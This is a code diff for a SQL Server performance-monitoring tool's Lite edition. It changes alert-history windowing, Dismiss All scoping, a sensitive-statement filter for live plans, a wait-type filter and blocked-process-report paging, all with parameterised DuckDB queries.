+        var temp = Path.Combine(_directory, $"{FileName}.{Guid.NewGuid():N}.tmp");
+        try
+        {
+            var bytes = Serialize(id);
+            using (var stream = new FileStream(temp, FileMode.CreateNew, FileAccess.Write, FileShare.None))
+            {
+                stream.Write(bytes, 0, bytes.Length);
+                stream.Flush(flushToDisk: true);
+            }
+
+            return temp;
+        }
+        catch
+        {
+            try { File.Delete(temp); } catch { /* best effort */ }
+            throw;
+        }
+    }
+
+    /// <summary>
+    /// Reads the file. A file that is locked (the other process is still writing it) is waited for, up to a couple of
+    /// seconds, rather than read as damaged; a missing file is a first start. A file that is there and still cannot be
+    /// read after the wait (an I/O error, a lock held past it, access refused) is unreadable, which is never a reason to
+    /// replace it. A file that is read but is not the id record is invalid, which is.
+    /// </summary>
+    private ReadResult ReadFile(string path)
+    {
+        var waited = Stopwatch.StartNew();
+        string text;
+        while (true)
+        {
+            try
+            {
+                using var stream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete);
+                using var reader = new StreamReader(stream);
+                text = reader.ReadToEnd();
+                break;
+            }
+            catch (Exception ex) when (ex is FileNotFoundException or DirectoryNotFoundException)
+            {
+                return new ReadResult(ReadKind.Missing, null, "");
+            }
+            catch (IOException) when (waited.Elapsed < LockedReadBudget)
+            {
+                Thread.Sleep(s_lockedReadPause);
+            }
+            catch (Exception ex)
+            {
+                return new ReadResult(ReadKind.Unreadable, null, $"{ex.GetType().Name}: {ex.Message}");
+            }
+        }
+
+        try
+        {
+            var file = JsonSerializer.Deserialize<IdFile>(text);
+            return file is null
+                ? new ReadResult(ReadKind.Invalid, null, "the file holds no record")
+                : new ReadResult(ReadKind.Read, file, "");
+        }
+        catch (JsonException ex)
+        {
+            return new ReadResult(ReadKind.Invalid, null, ex.GetType().Name);
+        }
+    }
+
+    private enum ReadKind { Missing, Unreadable, Invalid, Read }
+
+    private enum CreateOutcome { Created, Conflict, NotSaved }
+
+    /// <summary>How a replacement ended: this process made the new id (Done), the file now holds another process's and has to
+    /// be read again (Again), or nothing could be saved (Failed).</summary>
+    private enum ReplaceOutcome { Done, Again, Failed }
+
+    private readonly record struct ReadResult(ReadKind Kind, IdFile? File, string Detail);
+
+    /// <summary>The file's record: the id, and the machine and Windows user it was made for.</summary>
+    private sealed class IdFile
+    {
+        [JsonPropertyName("id")]
+        public string? Id { get; set; }
+
+        [JsonPropertyName("machine")]
+        public string? Machine { get; set; }
+
+        [JsonPropertyName("userSid")]
+        public string? UserSid { get; set; }
+    }
+}
diff --git a/Lite/Services/KnownEngineEditions.cs b/Lite/Services/KnownEngineEditions.cs
index 9b52e05160..35898bf5a7 100644
--- a/Lite/Services/KnownEngineEditions.cs
+++ b/Lite/Services/KnownEngineEditions.cs
@@ -153,10 +153,33 @@ public bool IsAzureSqlDatabase(ServerConnection server, int liveEdition) =>
     /// </summary>
     public IReadOnlyList<string> SeparatelyMonitoredDatabases(
         ServerConnection self, int liveEdition, IEnumerable<ServerConnection> servers) =>
+        SeparatelyMonitoredDatabases(IsAzureSqlDatabase(self, liveEdition), self, servers);
+
+    /// <summary>
+    /// <see cref="AzureMasterScope.SeparatelyMonitoredDatabases"/> for a configured server whose edition the caller
+    /// already knows. The long-query trace's session lifecycle calls this from its Azure SQL Database branch, so
+    /// the trace and the alerts skip the same databases.
+    /// </summary>
+    public static IReadOnlyList<string> SeparatelyMonitoredDatabases(
+        bool isAzureSqlDatabase, ServerConnection self, IEnumerable<ServerConnection> servers) =>
         AzureMasterScope.SeparatelyMonitoredDatabases(
-            IsAzureSqlDatabase(self, liveEdition),
+            isAzureSqlDatabase,
             self.Id, self.ServerName, self.DatabaseName,
-            servers.Select(t => new AlertTargetIdentity(t.Id, t.ServerName, t.DatabaseName, t.IsEnabled, t.ReadOnlyIntent)));
+            AlertTargets(servers));
+
+    /// <summary>
+    /// The databases monitored as their own servers on an Azure SQL Database logical server, as that server's
+    /// registration sees them: the same list for every registration of the server, including one that names a
+    /// database. The long-query trace uses it to tell which databases a logical server's registration keeps its
+    /// session in (<see cref="LongQueryTraceDatabases.KeptElsewhere"/>). No configuration id is empty, so the empty
+    /// self id leaves none of the registrations out.
+    /// </summary>
+    public static IReadOnlyList<string> SeparatelyMonitoredDatabasesOnServer(string host, IEnumerable<ServerConnection> servers) =>
+        AzureMasterScope.SeparatelyMonitoredDatabases(
+            isAzureSqlDb: true, selfId: string.Empty, host, database: null, AlertTargets(servers));
+
+    private static IEnumerable<AlertTargetIdentity> AlertTargets(IEnumerable<ServerConnection> servers) =>
+        servers.Select(t => new AlertTargetIdentity(t.Id, t.ServerName, t.DatabaseName, t.IsEnabled, t.ReadOnlyIntent));
 
     /// <summary>
     /// The analysis provider's answer for a storage server id: <see cref="SeparatelyMonitoredDatabases"/> for the
diff --git a/Lite/Services/LiteAlertDeliverer.cs b/Lite/Services/LiteAlertDeliverer.cs
index 7384630f1c..1ae9979d98 100644
--- a/Lite/Services/LiteAlertDeliverer.cs
+++ b/Lite/Services/LiteAlertDeliverer.cs
@@ -155,6 +155,12 @@ public Task DeliverAsync(AlertOutcome outcome, CancellationToken cancellationTok
             throw new ArgumentNullException(nameof(outcome));
         }
 
+        /* #5320 (part of #4348): the statement filter runs at this choke point, so a caller that hands an outcome
+           straight here (any direct caller) is filtered like an
+           engine alert. An outcome AlertEngine.FireAsync already filtered is remembered by the filter and passes
+           through untouched, so nothing is judged twice. Never throws. */
+        outcome = AlertStatementFilter.Apply(outcome);
+
         try
         {
             var serverId = int.Parse(outcome.ServerKey, CultureInfo.InvariantCulture);
diff --git a/Lite/Services/LiteAlertReadAdapter.cs b/Lite/Services/LiteAlertReadAdapter.cs
index bc3e5cda09..1360bcb72c 100644
--- a/Lite/Services/LiteAlertReadAdapter.cs
+++ b/Lite/Services/LiteAlertReadAdapter.cs
@@ -207,7 +207,9 @@ public async Task<List<ForcePlanFailureInfo>> GetForcePlanFailuresAsync(
         string serverKey, CancellationToken cancellationToken = default)
     {
         var serverId = ParseServerKey(serverKey);
-        return await Task.Run(() => _dataService.GetForcePlanFailuresAsync(serverId), cancellationToken);
+        /* #5377: the token reaches the read too, because it waits for a slot of the shared archive-read limiter
+           and a cancelled alert pass must leave that queue, not wait out its turn. */
+        return await Task.Run(() => _dataService.GetForcePlanFailuresAsync(serverId, cancellationToken), cancellationToken);
     }
 
     private int ResolveRunningJobsCadence(int serverId) =>
diff --git a/Lite/Services/LivePlanDisplay.cs b/Lite/Services/LivePlanDisplay.cs
new file mode 100644
index 0000000000..eaa52f5e4e
--- /dev/null
+++ b/Lite/Services/LivePlanDisplay.cs
@@ -0,0 +1,37 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitorLite.Services;
+
+/// <summary>
+/// #4348: the statement filter for the plans a Lite window fetches live from the monitored server and puts on
+/// screen or into a saved file. Those plans are not collected, so the collection-time filter never sees them. Every
+/// display site that calls one of the live plan fetches (<c>LocalDataService.FetchQueryPlanOnDemandAsync</c>,
+/// <c>FetchProcedurePlanOnDemandAsync</c>, <c>FetchQueryStorePlanAsync</c>) passes the result through
+/// <see cref="Filter"/> at the call, not inside <c>LocalDataService</c>: the display site is where the plan leaves
+/// the app's own code. <c>StatementScrubLivePlanDisplayTests</c> scans every caller.
+/// </summary>
+internal static class LivePlanDisplay
+{
+    /// <summary>
+    /// The plan with the statements the filter names withheld (their values and literals too); the same instance
+    /// when nothing is named; the whole-document marker when the plan cannot be judged. Null and empty pass
+    /// through, so a caller's "no plan found" check still works after it.
+    /// </summary>
+    public static string? Filter(string? planXml) => SensitiveStatements.Xml(planXml);
+
+    /// <summary>
+    /// <see cref="Filter"/> on a thread-pool thread, for the display sites (every caller is a UI handler). The judge
+    /// parses the whole plan and can spend seconds on a large live plan, so it never runs on the dispatcher (#5554). The
+    /// withheld-on-timeout rule is unchanged: it is the same call.
+    /// </summary>
+    public static Task<string?> FilterAsync(string? planXml)
+        => string.IsNullOrEmpty(planXml) ? Task.FromResult(planXml) : Task.Run(() => Filter(planXml));
+}
diff --git a/Lite/Services/LocalDataService.AgTopology.cs b/Lite/Services/LocalDataService.AgTopology.cs
index c2f3741756..e5058230b2 100644
--- a/Lite/Services/LocalDataService.AgTopology.cs
+++ b/Lite/Services/LocalDataService.AgTopology.cs
@@ -94,7 +94,7 @@ public async Task<List<AgTopologyCard>> GetAgTopologyAsync()
             return new List<AgTopologyCard>();
         }
 
-        return AgTopology.BuildCards(replicas, await ReadAgTopologyDatabasesAsync());
+        return AgTopology.BuildCards(replicas, await ReadAgTopologyDatabasesAsync(), DateTime.UtcNow);
     }
 
     private async Task<List<AgTopologyReplicaRow>> ReadAgTopologyReplicasAsync()
diff --git a/Lite/Services/LocalDataService.AlertHistory.cs b/Lite/Services/LocalDataService.AlertHistory.cs
index 4532d8403b..0e5fa5f7e1 100644
--- a/Lite/Services/LocalDataService.AlertHistory.cs
+++ b/Lite/Services/LocalDataService.AlertHistory.cs
@@ -40,17 +40,34 @@ public partial class LocalDataService
     /// </summary>
     public async Task<List<AlertHistoryRow>> GetAlertHistoryAsync(int hoursBack = 24, int limit = 500, int? serverId = null, DateTime? asOfUtc = null, bool includeDismissed = false)
     {
-        using var connection = await OpenConnectionAsync();
-        using var command = connection.CreateCommand();
-
         /* Both edges, not just the lower one: the row cap is applied by the database, so trimming
            after the read would spend the whole LIMIT on rows newer than an as_of anchor and hand back an
            empty window that looks exactly like a quiet one. */
         var (cutoff, until) = GetTimeRange(hoursBack, null, null, asOfUtc);
+        return await ReadAlertHistoryAsync(cutoff, until, "<=", limit, serverId, includeDismissed);
+    }
+
+    /// <summary>
+    /// <see cref="GetAlertHistoryAsync"/> over a window that may END before now (#5562), the Alert History tab's read: the rows
+    /// from <paramref name="sinceUtc"/> up to but not including <paramref name="untilUtc"/>, which is <c>null</c> for a window
+    /// that runs to now. The end is applied in the SQL, ahead of the row cap, so a finished range is never shown the alerts
+    /// raised after its end and a busy fleet's cap is not spent on them. Dismissed alerts stay hidden. The Darling Viewer's
+    /// Alert History reads the same way (<c>GetAlertHistoryWindowAsync</c>).
+    /// </summary>
+    public Task<List<AlertHistoryRow>> GetAlertHistoryWindowAsync(DateTime sinceUtc, DateTime? untilUtc, int? serverId = null, int limit = 500)
+        => untilUtc is { } end
+            ? ReadAlertHistoryAsync(sinceUtc, end, "<", limit, serverId, includeDismissed: false)
+            : ReadAlertHistoryAsync(sinceUtc, DateTime.UtcNow, "<=", limit, serverId, includeDismissed: false);
+
+    private async Task<List<AlertHistoryRow>> ReadAlertHistoryAsync(
+        DateTime cutoff, DateTime until, string untilOperator, int limit, int? serverId, bool includeDismissed)
+    {
+        using var connection = await OpenConnectionAsync();
+        using var command = connection.CreateCommand();
 
         if (serverId.HasValue)
         {
-            command.CommandText = @"
+            command.CommandText = $@"
 SELECT
     alert_time,
     server_id,
@@ -68,7 +85,7 @@ empty window that looks exactly like a quiet one. */
     dismissed
 FROM v_config_alert_log
 WHERE alert_time >= $1
-AND   alert_time <= $2
+AND   alert_time {untilOperator} $2
 AND   server_id = $3
 AND   (dismissed = FALSE OR $5)
 ORDER BY alert_time DESC
@@ -81,7 +98,7 @@ ORDER BY alert_time DESC
         }
         else
         {
-            command.CommandText = @"
+            command.CommandText = $@"
 SELECT
     alert_time,
     server_id,
@@ -99,7 +116,7 @@ ORDER BY alert_time DESC
     dismissed
 FROM v_config_alert_log
 WHERE alert_time >= $1
-AND   alert_time <= $2
+AND   alert_time {untilOperator} $2
 AND   (dismissed = FALSE OR $4)
 ORDER BY alert_time DESC
 LIMIT $3";
@@ -321,52 +338,74 @@ SELECT 1 FROM dismissed_archive_alerts
     /// Updates the live table, then inserts any remaining archived alerts into the sidecar table.
     /// Logs structured telemetry and verifies dismissal success.
     /// </summary>
-    public async Task<int> DismissAllVisibleAlertsAsync(int hoursBack, int? serverId = null)
+    public Task<int> DismissAllVisibleAlertsAsync(int hoursBack, int? serverId = null)
+        => DismissAllVisibleAlertsWindowAsync(DateTime.UtcNow.AddHours(-hoursBack), null, serverId);
+
+    /// <summary>
+    /// <see cref="DismissAllVisibleAlertsAsync"/> over the window <see cref="GetAlertHistoryWindowAsync"/> shows (#5562): the
+    /// alerts from <paramref name="sinceUtc"/> up to but not including <paramref name="untilUtc"/> (<c>null</c> = to now), so a
+    /// finished range's Dismiss All touches exactly the rows its grid shows and none raised after its end. The Darling Viewer's
+    /// <c>DismissAllVisibleAlertsWindowAsync</c> scopes the same way.
+    /// </summary>
+    public async Task<int> DismissAllVisibleAlertsWindowAsync(DateTime sinceUtc, DateTime? untilUtc, int? serverId = null)
     {
         var sw = System.Diagnostics.Stopwatch.StartNew();
 
         if (App.LogAlertDismissals)
-            AppLogger.Info("AlertDismiss", $"Action=DismissAll, HoursBack={hoursBack}, ServerId={serverId?.ToString() ?? "all"}");
+            AppLogger.Info("AlertDismiss", $"Action=DismissAll, Since={sinceUtc:O}, Until={(untilUtc.HasValue ? untilUtc.Value.ToString("O") : "now")}, ServerId={serverId?.ToString() ?? "all"}");
 
         using var connection = await OpenWriteConnectionAsync();
         PreservedTableRestore.ThrowIfRestorePending(_duckDb.ArchivePath, "dismissed_archive_alerts");
         using var command = connection.CreateCommand();
 
-        var cutoff = DateTime.UtcNow.AddHours(-hoursBack);
+        var cutoff = sinceUtc;
+
+        /* The exclusive end is the last parameter of each statement ($3 with a server filter, $2 without). */
+        var endParam = serverId.HasValue ? "$3" : "$2";
+        var liveEnd = untilUtc.HasValue ? $"AND    alert_time < {endParam}" : string.Empty;
+        var viewEnd = untilUtc.HasValue ? $"AND    v.alert_time < {endParam}" : string.Empty;
 
         if (serverId.HasValue)
         {
-            command.CommandText = @"
+            command.CommandText = $@"
 UPDATE config_alert_log
 SET    dismissed = TRUE
 WHERE  alert_time >= $1
 AND    server_id = $2
+{liveEnd}
 AND    dismissed = FALSE";
             command.Parameters.Add(new DuckDBParameter { Value = cutoff });
             command.Parameters.Add(new DuckDBParameter { Value = serverId.Value });
         }
         else
         {
-            command.CommandText = @"
+            command.CommandText = $@"
 UPDATE config_alert_log
 SET    dismissed = TRUE
 WHERE  alert_time >= $1
+{liveEnd}
 AND    dismissed = FALSE";
             command.Parameters.Add(new DuckDBParameter { Value = cutoff });
         }
 
+        if (untilUtc.HasValue)
+        {
+            command.Parameters.Add(new DuckDBParameter { Value = untilUtc.Value });
+        }
+
         var liveAffected = await command.ExecuteNonQueryAsync();
 
         // Dismiss any remaining archived alerts that matched the filter
         using var sidecarCmd = connection.CreateCommand();
         if (serverId.HasValue)
         {
-            sidecarCmd.CommandText = @"
+            sidecarCmd.CommandText = $@"
 INSERT INTO dismissed_archive_alerts (alert_time, server_id, metric_name)
 SELECT v.alert_time, v.server_id, v.metric_name
 FROM   v_config_alert_log v
 WHERE  v.alert_time >= $1
 AND    v.server_id = $2
+{viewEnd}
 AND    v.dismissed = FALSE
 AND    NOT EXISTS (
     SELECT 1 FROM config_alert_log l
@@ -385,11 +424,12 @@ SELECT 1 FROM dismissed_archive_alerts d
         }
         else
         {
-            sidecarCmd.CommandText = @"
+            sidecarCmd.CommandText = $@"
 INSERT INTO dismissed_archive_alerts (alert_time, server_id, metric_name)
 SELECT v.alert_time, v.server_id, v.metric_name
 FROM   v_config_alert_log v
 WHERE  v.alert_time >= $1
+{viewEnd}
 AND    v.dismissed = FALSE
 AND    NOT EXISTS (
     SELECT 1 FROM config_alert_log l
@@ -406,6 +446,11 @@ SELECT 1 FROM dismissed_archive_alerts d
             sidecarCmd.Parameters.Add(new DuckDBParameter { Value = cutoff });
         }
 
+        if (untilUtc.HasValue)
+        {
+            sidecarCmd.Parameters.Add(new DuckDBParameter { Value = untilUtc.Value });
+        }
+
         var archivedAffected = await sidecarCmd.ExecuteNonQueryAsync();
         sw.Stop();
 
@@ -415,7 +460,7 @@ SELECT 1 FROM dismissed_archive_alerts d
         // Post-dismiss verification: confirm no undismissed live rows remain
         if (liveAffected > 0)
         {
-            await VerifyDismissAllAsync(connection, cutoff, serverId, liveAffected);
+            await VerifyDismissAllAsync(connection, cutoff, untilUtc, serverId, liveAffected);
         }
 
         return liveAffected + archivedAffected;
@@ -493,30 +538,38 @@ the restart restores is aged out again on its next run. */
     /// <summary>
     /// Verifies that no undismissed alerts remain in the dismissed time range.
     /// </summary>
-    private static async System.Threading.Tasks.Task VerifyDismissAllAsync(LockedConnection connection, DateTime cutoff, int? serverId, int expectedDismissed)
+    private static async System.Threading.Tasks.Task VerifyDismissAllAsync(LockedConnection connection, DateTime cutoff, DateTime? untilUtc, int? serverId, int expectedDismissed)
     {
         try
         {
             using var cmd = connection.CreateCommand();
+            var endClause = untilUtc.HasValue ? $"AND    alert_time < {(serverId.HasValue ? "$3" : "$2")}" : string.Empty;
             if (serverId.HasValue)
             {
-                cmd.CommandText = @"
+                cmd.CommandText = $@"
 SELECT COUNT(1) FROM config_alert_log
 WHERE  alert_time >= $1
 AND    server_id = $2
+{endClause}
 AND    dismissed = FALSE";
                 cmd.Parameters.Add(new DuckDBParameter { Value = cutoff });
                 cmd.Parameters.Add(new DuckDBParameter { Value = serverId.Value });
             }
             else
             {
-                cmd.CommandText = @"
+                cmd.CommandText = $@"
 SELECT COUNT(1) FROM config_alert_log
 WHERE  alert_time >= $1
+{endClause}
 AND    dismissed = FALSE";
                 cmd.Parameters.Add(new DuckDBParameter { Value = cutoff });
             }
 
+            if (untilUtc.HasValue)
+            {
+                cmd.Parameters.Add(new DuckDBParameter { Value = untilUtc.Value });
+            }
+
             var remaining = Convert.ToInt64(await cmd.ExecuteScalarAsync());
             if (remaining > 0)
                 AppLogger.Warn("AlertDismiss", $"Action=DismissAllVerify, Result=Mismatch, StillUndismissed={remaining}, ExpectedDismissed={expectedDismissed}");
diff --git a/Lite/Services/LocalDataService.Blocking.cs b/Lite/Services/LocalDataService.Blocking.cs
index efd5332853..4ac6e22d2d 100644
--- a/Lite/Services/LocalDataService.Blocking.cs
+++ b/Lite/Services/LocalDataService.Blocking.cs
@@ -408,12 +408,20 @@ AND   COALESCE(request_id, 0) = $4
     /// open-transaction blocker sys.dm_exec_requests never lists; <c>blocker_in_population</c> false is a
     /// blocker the caller's own database filter excluded.</para>
     ///
-    /// <para>The predicates are composed as SQL text from two booleans (a database name is still bound), the
-    /// <see cref="BuildDbInClause"/> way, because DuckDB cannot infer a type for a bare <c>$N IS NULL</c>
-    /// parameter the way PostgreSQL's <c>$N::text</c> cast lets Darling's twin do it.</para>
+    /// <para><b>The wait_type filter (#5235)</b> is one more population predicate, so the count and the cap see it
+    /// and it ANDs with the other two. It matches the request's own wait at the capture by exact name with the case
+    /// ignored (one equality, so a <c>%</c> or <c>_</c> in the input is literal), and a NULL wait never matches. The
+    /// stored value may carry the one trailing space <c>sys.dm_os_wait_stats</c> reports and an older collector kept,
+    /// so the match takes the name with and without it: the same rule as Darling's twin (a copy of its wait trend
+    /// read), <c>upper(w.wait_type) IN (upper($7), upper($7) || ' ')</c>.</para>
+    ///
+    /// <para>The predicates are composed as SQL text from the booleans and the optional wait filter (a database
+    /// name and the wait value are still bound), the <see cref="BuildDbInClause"/> way, because DuckDB cannot infer a
+    /// type for a bare <c>$N IS NULL</c> parameter the way PostgreSQL's <c>$N::text</c> cast lets Darling's twin do
+    /// it. The wait value's index follows the database values, so it is <c>5 + dbValues.Count</c>.</para>
     /// </summary>
     public async Task<(List<QuerySnapshotRow> Rows, long PopulationCount)> GetActiveQueriesPageAsync(
-        int serverId, int hoursBack, int cap, string? databaseName = null, bool blockingOnly = false, DateTime? asOfUtc = null)
+        int serverId, int hoursBack, int cap, string? databaseName = null, bool blockingOnly = false, string? waitType = null, DateTime? asOfUtc = null)
     {
         using var _q = TimeQuery("GetActiveQueriesPageAsync", "v_query_snapshots filtered page (MCP)");
         using var connection = await OpenConnectionAsync();
@@ -423,6 +431,8 @@ AND   COALESCE(request_id, 0) = $4
         var dbClause = BuildDbInClause(
             string.IsNullOrWhiteSpace(databaseName) ? null : new[] { databaseName.Trim() }, "w.database_name", 5, out var dbValues);
         var blockingClause = blockingOnly ? " AND (w.blocking_session_id > 0 OR h.session_id IS NOT NULL)" : "";
+        var waitFilter = string.IsNullOrWhiteSpace(waitType) ? null : waitType.Trim();
+        var waitClause = waitFilter == null ? "" : $" AND upper(w.wait_type) IN (upper(${5 + dbValues.Count}), upper(${5 + dbValues.Count}) || ' ')";
 
         command.CommandText = @"
 WITH window_rows AS (
@@ -477,7 +487,7 @@ FROM window_rows w
     LEFT JOIN heads h
       ON  h.collection_time = w.collection_time
       AND h.session_id = w.session_id
-    WHERE (w.query_text NOT LIKE 'WAITFOR%' OR h.session_id IS NOT NULL)" + dbClause + blockingClause + @"
+    WHERE (w.query_text NOT LIKE 'WAITFOR%' OR h.session_id IS NOT NULL)" + dbClause + blockingClause + waitClause + @"
 )
 SELECT
     p.session_id,
@@ -524,6 +534,8 @@ FROM population p
         command.Parameters.Add(new DuckDBParameter { Value = cap });
         foreach (var db in dbValues)
             command.Parameters.Add(new DuckDBParameter { Value = db });
+        if (waitFilter != null)
+            command.Parameters.Add(new DuckDBParameter { Value = waitFilter });
 
         var items = new List<QuerySnapshotRow>();
         long populationCount = 0;
@@ -636,7 +648,27 @@ SELECT MAX(deadlock_time) AS t FROM v_deadlocks AS dl WHERE server_id = $1 AND d
     /// DMV arm entirely (a DMV snapshot never has one) — the population <c>get_blocked_process_xml</c> pages
     /// over, so its <c>limit</c> counts reports rather than rows it would have to discard.</para>
     /// </summary>
-    public async Task<List<BlockedProcessReportRow>> GetRecentBlockedProcessReportsAsync(int serverId, int hoursBack = 24, DateTime? fromDate = null, DateTime? toDate = null, IReadOnlyList<string>? databaseNames = null, DateTime? asOfUtc = null, int limit = BlockedProcessReportMerge.DefaultCap, bool xmlOnly = false, bool windowOnCollectionTime = false)
+    public async Task<List<BlockedProcessReportRow>> GetRecentBlockedProcessReportsAsync(int serverId, int hoursBack = 24, DateTime? fromDate = null, DateTime? toDate = null, IReadOnlyList<string>? databaseNames = null, DateTime? asOfUtc = null, int limit = BlockedProcessReportGridCap, bool xmlOnly = false, bool windowOnCollectionTime = false) =>
+        (await ReadRecentBlockedProcessReportsAsync(serverId, hoursBack, fromDate, toDate, databaseNames, asOfUtc, limit, xmlOnly, windowOnCollectionTime)).Rows;
+
+    /// <summary>The Blocked Process Reports grid's row cap: the default <c>limit</c> of
+    /// <see cref="GetRecentBlockedProcessReportsAsync"/> and <see cref="ReadRecentBlockedProcessReportsAsync"/>, and the
+    /// cap the grid's "Showing since" notice judges the page by (#4966), so the read's <c>LIMIT</c> and the notice
+    /// cannot drift apart. The same 200 as the Darling viewer's grid.</summary>
+    public const int BlockedProcessReportGridCap = BlockedProcessReportMerge.DefaultCap;
+
+    /// <summary>
+    /// <see cref="GetRecentBlockedProcessReportsAsync"/>'s rows and where a read that filled its own cap stops the grid being
+    /// complete (#4966): the Lite twin of the Darling viewer's <c>ReadRecentBlockedProcessReportsAsync</c>. The grid is fed by
+    /// two reads, the XE reports (cap = <paramref name="limit"/>) and the always-on DMV snapshots (cap =
+    /// <paramref name="limit"/> plus the XE rows in hand), and the merge then drops the DMV rows an XE report already covers and
+    /// the DMV rows that repeat a pair within a minute, so the merged list can hold FEWER than <paramref name="limit"/> rows
+    /// while the DMV read stopped at its LIMIT and left older snapshots out: a DMV read of 200 + <c>n</c> rows made of
+    /// repeated pairs merges to a handful. The count of the merged list cannot show that, so each read's own count is checked
+    /// before the merge (<see cref="FilledPageStart"/>) and <see cref="BlockedProcessReportsRead.CappedSourceStartUtc"/> names
+    /// the oldest event time of the read that filled its page (the later one when both did).
+    /// </summary>
+    public async Task<BlockedProcessReportsRead> ReadRecentBlockedProcessReportsAsync(int serverId, int hoursBack = 24, DateTime? fromDate = null, DateTime? toDate = null, IReadOnlyList<string>? databaseNames = null, DateTime? asOfUtc = null, int limit = BlockedProcessReportGridCap, bool xmlOnly = false, bool windowOnCollectionTime = false)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
@@ -755,15 +787,46 @@ ORDER BY event_time DESC
             }
         }
 
+        /* An XE read that returned a whole page (its LIMIT) left older reports out, whatever the merge below keeps. */
+        var xeFilledPageStart = FilledPageStart(items, limit);
+
         // Always-on DMV blocking snapshot: surface its rows in the grid too, so the block-chain viewer is
         // reachable when the blocked-process-report XE captured nothing (AWS RDS). Same connection/lock.
         // Skipped under xmlOnly: a DMV snapshot never carries a report, so it has nothing to add to that page.
+        DateTime? dmvFilledPageStart = null;
         if (!xmlOnly)
-            await AppendDmvBlockedProcessGridRowsAsync(connection.CreateCommand, items, serverId, startTime, endTime, databaseNames, limit);
+            dmvFilledPageStart = await AppendDmvBlockedProcessGridRowsAsync(connection.CreateCommand, items, serverId, startTime, endTime, databaseNames, limit);
 
-        return items;
+        return new BlockedProcessReportsRead(items, LaterOf(xeFilledPageStart, dmvFilledPageStart));
+    }
+
+    /// <summary>
+    /// The oldest event time of a newest-first <paramref name="page"/> that is as long as the <paramref name="fetched"/> rows its
+    /// read asked for (its LIMIT), or null when it is shorter: a page under its LIMIT holds everything the store has in the
+    /// window. A row with no event time never names a start. See <see cref="ReadRecentBlockedProcessReportsAsync"/>.
+    /// </summary>
+    internal static DateTime? FilledPageStart(IReadOnlyCollection<BlockedProcessReportRow> page, int fetched)
+    {
+        if (fetched <= 0 || page.Count < fetched)
+        {
+            return null;
+        }
+
+        DateTime? oldest = null;
+        foreach (var row in page)
+        {
+            if (row.EventTime is DateTime time && (oldest is null || time < oldest))
+            {
+                oldest = time;
+            }
+        }
+
+        return oldest;
     }
 
+    private static DateTime? LaterOf(DateTime? first, DateTime? second) =>
+        first is DateTime a && second is DateTime b ? (a >= b ? a : b) : first ?? second;
+
     /// <summary>
     /// Fetches always-on DMV blocking-snapshot rows for the blocked-process grid and merges them into the
     /// BPR list — BPR preferred (dedup by blocked/blocker SPID within a minute), re-capped to the newest
@@ -772,10 +835,12 @@ ORDER BY event_time DESC
     /// always exists. The DMV fetch is <paramref name="cap"/> plus the XE rows already in
     /// <paramref name="items"/> — see <see cref="GetRecentBlockedProcessReportsAsync"/> for why.
     /// </summary>
-    private static async Task AppendDmvBlockedProcessGridRowsAsync(
+    private static async Task<DateTime?> AppendDmvBlockedProcessGridRowsAsync(
         Func<DuckDBCommand> createCommand, List<BlockedProcessReportRow> items, int serverId, DateTime startTime, DateTime endTime, IReadOnlyList<string>? databaseNames, int cap)
     {
         var dmvItems = new List<BlockedProcessReportRow>();
+        /* The DMV read's own cap: the grid's cap plus the XE rows in hand. */
+        var dmvFetch = cap + items.Count;
         var dbClause = BuildDbInClause(databaseNames, "database_name", 5, out var dbValues);
         using (var command = createCommand())
         {
@@ -795,7 +860,7 @@ ORDER BY event_time DESC
             command.Parameters.Add(new DuckDBParameter { Value = serverId });
             command.Parameters.Add(new DuckDBParameter { Value = startTime });
             command.Parameters.Add(new DuckDBParameter { Value = endTime });
-            command.Parameters.Add(new DuckDBParameter { Value = cap + items.Count });
+            command.Parameters.Add(new DuckDBParameter { Value = dmvFetch });
             foreach (var db in dbValues)
                 command.Parameters.Add(new DuckDBParameter { Value = db });
 
@@ -835,7 +900,9 @@ ORDER BY event_time DESC
 
         /* Dedup + re-cap moved verbatim to the shared BlockedProcessReportMerge (Phase-5 slice B)
            so the Darling Postgres adapter reproduces EXACTLY these XE-preferred fallback semantics. */
+        var dmvFilledPageStart = FilledPageStart(dmvItems, dmvFetch);
         BlockedProcessReportMerge.AppendDmvFallbackRows(items, dmvItems, cap);
+        return dmvFilledPageStart;
     }
 
     /// <summary>
@@ -993,6 +1060,111 @@ GROUP BY date_trunc('hour', deadlock_time)
         return items;
     }
 
+    /// <summary>
+    /// #5098: whether the XE blocked process reports have a row in the window, with the SAME predicate (and database filter) as the
+    /// <c>bpr</c> arm of <see cref="GetBlockingTrendAsync"/> and <see cref="GetBlockingDurationStatsAsync"/>. When true those reads drew
+    /// the XE rows alone (the DMV arm is skipped), so the note must name the XE start, not a DMV-covered one.
+    /// </summary>
+    public async Task<bool> HasBlockedProcessReportsInWindowAsync(int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames = null)
+    {
+        using var connection = await OpenConnectionAsync();
+        using var command = connection.CreateCommand();
+
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 4, out var dbValues);
+        command.CommandText = "SELECT 1 FROM " + StoredEventCopies.BlockedProcessReports("server_id = $1 AND event_time >= $2 AND event_time <= $3" + dbClause) + " AS ev LIMIT 1";
+        command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        command.Parameters.Add(new DuckDBParameter { Value = startUtc });
+        command.Parameters.Add(new DuckDBParameter { Value = endUtc });
+        foreach (var db in dbValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
+
+        using var reader = await command.ExecuteReaderAsync();
+        return await reader.ReadAsync();
+    }
+
+    /// <summary>
+    /// #5098: the earliest XE blocked process report in the window, with the SAME predicate and database filter as
+    /// <see cref="HasBlockedProcessReportsInWindowAsync"/>. Null when there is none. Opens its own connection.
+    /// </summary>
+    public async Task<DateTime?> GetEarliestBlockedProcessReportInWindowAsync(int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames = null)
+    {
+        using var connection = await OpenConnectionAsync();
+        using var command = connection.CreateCommand();
+
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 4, out var dbValues);
